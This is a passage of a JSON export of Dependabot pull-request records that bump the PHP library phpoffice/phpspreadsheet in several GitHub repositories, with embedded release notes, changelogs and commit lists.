yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/demos-europe/demosplan-core/pull/5729","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/demos-europe%2Fdemosplan-core/issues/5729","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/5729/packages"}},{"old_version":"1.29.12","new_version":"1.30.1","update_type":"minor","path":null,"pr_created_at":"2026-01-06T17:07:41.000Z","version_change":"1.29.12 → 1.30.1","issue":{"uuid":"3785859049","node_id":"PR_kwDOOF251s67wk0x","number":1,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 1.29.12 to 1.30.1","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-01-09T04:04:31.000Z","author_association":null,"state_reason":null,"created_at":"2026-01-06T17:07:41.000Z","updated_at":"2026-01-09T04:04:33.000Z","time_to_close":212210,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"1.29.12","new_version":"1.30.1","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 1.29.12 to 1.30.1.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.2.0 as of the date when this is being written), release390 (current version is 3.10.1), and release222 (2.4.1).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.0\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/1.30.1/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2025-10-25 - 1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.2.0 as of the date when this is being written), release390 (current version is 3.10.1), and release222 (2.4.1).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-08-10 - 1.30.0\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/fa8257a579ec623473eabfe49731de5967306c4c\"\u003e\u003ccode\u003efa8257a\u003c/code\u003e\u003c/a\u003e Prep Work for 1.30.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d81305a177b3932158d087f9a6dcf8f970c59b2\"\u003e\u003ccode\u003e5d81305\u003c/code\u003e\u003c/a\u003e Update Readme release1291 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4612\"\u003e#4612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/bc373185caf4e074478b23f3df0cdbc42a366d79\"\u003e\u003ccode\u003ebc37318\u003c/code\u003e\u003c/a\u003e Branch release1291 Will Not Be Updated for Php 8.5 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4606\"\u003e#4606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/df6d8248000ef662fa4f5eba597e4a1cd2bdbdfa\"\u003e\u003ccode\u003edf6d824\u003c/code\u003e\u003c/a\u003e Update Mpdf (Php8.5) release1291 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4592\"\u003e#4592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/fc0d8bd2f5dedb94f4bb3e5623503dcba9e05d81\"\u003e\u003ccode\u003efc0d8bd\u003c/code\u003e\u003c/a\u003e Update react/promise (Php8.5) and setasign/fpdi (security) release129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4586\"\u003e#4586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2f39286e0136673778b7a142b3f0d141e43d1714\"\u003e\u003ccode\u003e2f39286\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c2cd0e64392438e4c6af082796eb65c1d629a266\"\u003e\u003ccode\u003ec2cd0e6\u003c/code\u003e\u003c/a\u003e Breaking Change When Loading External Images\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5e3a6a8a7df7a767a89614fa92183959f1ab1e9a\"\u003e\u003ccode\u003e5e3a6a8\u003c/code\u003e\u003c/a\u003e Changelog Update Semantic Versioning Statement\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/1.29.12...1.30.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=1.29.12\u0026new-version=1.30.1)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/SilvioRamirez/thfundasalud/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/SilvioRamirez/thfundasalud/pull/1","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/SilvioRamirez%2Fthfundasalud/issues/1","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1/packages"}},{"old_version":"3.9.1","new_version":"3.10.0","update_type":"minor","path":null,"pr_created_at":"2025-12-28T11:02:48.000Z","version_change":"3.9.1 → 3.10.0","issue":{"uuid":"3765565931","node_id":"PR_kwDOAROkfc66u-YO","number":269,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 3.9.1 to 3.10.0","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-01-03T16:37:51.000Z","author_association":null,"state_reason":null,"created_at":"2025-12-28T11:02:48.000Z","updated_at":"2026-01-03T16:37:52.000Z","time_to_close":538503,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"3.9.1","new_version":"3.10.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 3.9.1 to 3.10.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.10.0\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.9.3\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd to all readers the option to allow or forbid fetching external images. This is unconditionally allowed now. The default will be set to \u0026quot;allow\u0026quot;, so no code changes are necessary. However, we are giving consideration to changing the default. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4548\"\u003e#4548\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4548\"\u003ePHPOffice/PhpSpreadsheet#4548\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.9.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow php-cs-fixer to Handle Implicit Backslashes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow spreadsheet to be serialized. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4408\"\u003e#4408\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4408\"\u003ePHPOffice/PhpSpreadsheet#4408\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTEXT and TIMEVALUE functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003e#4249\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003ePHPOffice/PhpSpreadsheet#4249\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4355\"\u003e#4355\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4355\"\u003ePHPOffice/PhpSpreadsheet#4355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoving Columns/Rows Containing Merged Cells. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4465\"\u003e#4465\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4465\"\u003ePHPOffice/PhpSpreadsheet#4465\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow Xlsx Reader to Specify ParseHuge. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003e#4260\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003ePHPOffice/PhpSpreadsheet#4260\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4518\"\u003e#4518\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4518\"\u003ePHPOffice/PhpSpreadsheet#4518\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/3.10.0/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2025-08-10 - 3.10.0\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e2025-07-23 - 3.9.3\u003c/h1\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd to all readers the option to allow or forbid fetching external images. This is unconditionally allowed now. The default will be set to \u0026quot;allow\u0026quot;, so no code changes are necessary. However, we are giving consideration to changing the default. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4548\"\u003e#4548\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4548\"\u003ePHPOffice/PhpSpreadsheet#4548\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e2025-06-22 - 3.9.2\u003c/h1\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow php-cs-fixer to Handle Implicit Backslashes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow spreadsheet to be serialized. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4408\"\u003e#4408\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4408\"\u003ePHPOffice/PhpSpreadsheet#4408\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTEXT and TIMEVALUE functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003e#4249\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003ePHPOffice/PhpSpreadsheet#4249\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4355\"\u003e#4355\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4355\"\u003ePHPOffice/PhpSpreadsheet#4355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoving Columns/Rows Containing Merged Cells. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4465\"\u003e#4465\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4465\"\u003ePHPOffice/PhpSpreadsheet#4465\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow Xlsx Reader to Specify ParseHuge. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003e#4260\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003ePHPOffice/PhpSpreadsheet#4260\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4518\"\u003e#4518\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4518\"\u003ePHPOffice/PhpSpreadsheet#4518\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/38559935cb76df0fad71d1e3df1a4e7da6e51cf0\"\u003e\u003ccode\u003e3855993\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4050f14521d70634c3320b170236574a6106eb39\"\u003e\u003ccode\u003e4050f14\u003c/code\u003e\u003c/a\u003e Breaking Change When Loading External Images\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/424180dc4127e0952a49f848e392fe53a431c852\"\u003e\u003ccode\u003e424180d\u003c/code\u003e\u003c/a\u003e Changelog Update Semantic Versioning Statement\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/668d3b5fdebf7f74627620d6648f77662f74b015\"\u003e\u003ccode\u003e668d3b5\u003c/code\u003e\u003c/a\u003e All Readers - Allow or Forbid Fetching of External Images Release390 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4548\"\u003e#4548\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/3b07468e1fcc2501d85e60501977f8f7f53cfb4a\"\u003e\u003ccode\u003e3b07468\u003c/code\u003e\u003c/a\u003e Allow Xlsx Reader to Specify ParseHuge Release390 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4518\"\u003e#4518\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d893ec38cf37f74a5727504dea081856c2aaa056\"\u003e\u003ccode\u003ed893ec3\u003c/code\u003e\u003c/a\u003e Removing Columns/Rows Containing Merged Cells (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4470\"\u003e#4470\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4aa3315beb5be2b4ba9ab515fd191f4a0825fbc9\"\u003e\u003ccode\u003e4aa3315\u003c/code\u003e\u003c/a\u003e Allow Spreadsheet Serialization Branch release390 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4408\"\u003e#4408\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1a98cedda20d65e80f7ecdfb865c07e5637e9dab\"\u003e\u003ccode\u003e1a98ced\u003c/code\u003e\u003c/a\u003e Allow php-cs-fixer to Handle Implicit Backslashes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/ef4ef80a1193f7cba56ec8d646503e4bffa58e7c\"\u003e\u003ccode\u003eef4ef80\u003c/code\u003e\u003c/a\u003e Fix TEXT and TIMEVALUE Functions 3.9 Branch (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4355\"\u003e#4355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/e586f9dd3cf782483974c5a55950fe2d001d948e\"\u003e\u003ccode\u003ee586f9d\u003c/code\u003e\u003c/a\u003e Update content-hash (composer update --lock)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/3.9.1...3.10.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=3.9.1\u0026new-version=3.10.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/szentjozsefhackathon/szentiras.eu/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/szentjozsefhackathon/szentiras.eu/pull/269","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/szentjozsefhackathon%2Fszentiras.eu/issues/269","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/269/packages"}},{"old_version":"4.3.1","new_version":"5.3.0","update_type":"major","path":null,"pr_created_at":"2025-12-01T11:21:33.000Z","version_change":"4.3.1 → 5.3.0","issue":{"uuid":"3680526399","node_id":"PR_kwDOAmuNNM62UkoN","number":850,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 4.3.1 to 5.3.0","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-02-01T09:29:31.000Z","author_association":null,"state_reason":null,"created_at":"2025-12-01T11:21:33.000Z","updated_at":"2026-02-01T09:29:32.000Z","time_to_close":5350078,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"4.3.1","new_version":"5.3.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 4.3.1 to 5.3.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.3.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFormal support for Php8.5.\u003c/li\u003e\n\u003cli\u003eLimited Printarea support for Html/Pdf. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003e#3941\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003ePHPOffice/PhpSpreadsheet#3941\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4711\"\u003e#4711\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4711\"\u003ePHPOffice/PhpSpreadsheet#4711\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImplement missing \u003ccode\u003eINFO\u003c/code\u003e function. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4709\"\u003e#4709\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4709\"\u003ePHPOffice/PhpSpreadsheet#4709\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImplement missing \u003ccode\u003eBAHTTEXT\u003c/code\u003e function. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4715\"\u003e#4715\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4715\"\u003ePHPOffice/PhpSpreadsheet#4715\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e$dataType, the second parameter of Cell::setValueExplicit, is currently optional. Omitting it is deprecated, and it will be required in a future release.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eProtected ranges and insert/delete rows/columns. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4695\"\u003e#4695\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4695\"\u003ePHPOffice/PhpSpreadsheet#4695\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4702\"\u003e#4702\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4702\"\u003ePHPOffice/PhpSpreadsheet#4702\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUnexpected Exception in Php DateTime. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4696\"\u003e#4696\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4696\"\u003ePHPOffice/PhpSpreadsheet#4696\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/917\"\u003e#917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/917\"\u003ePHPOffice/PhpSpreadsheet#917\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4697\"\u003e#4697\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4697\"\u003ePHPOffice/PhpSpreadsheet#4697\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd missing Dutch translation to translation file. [PR \u003ca 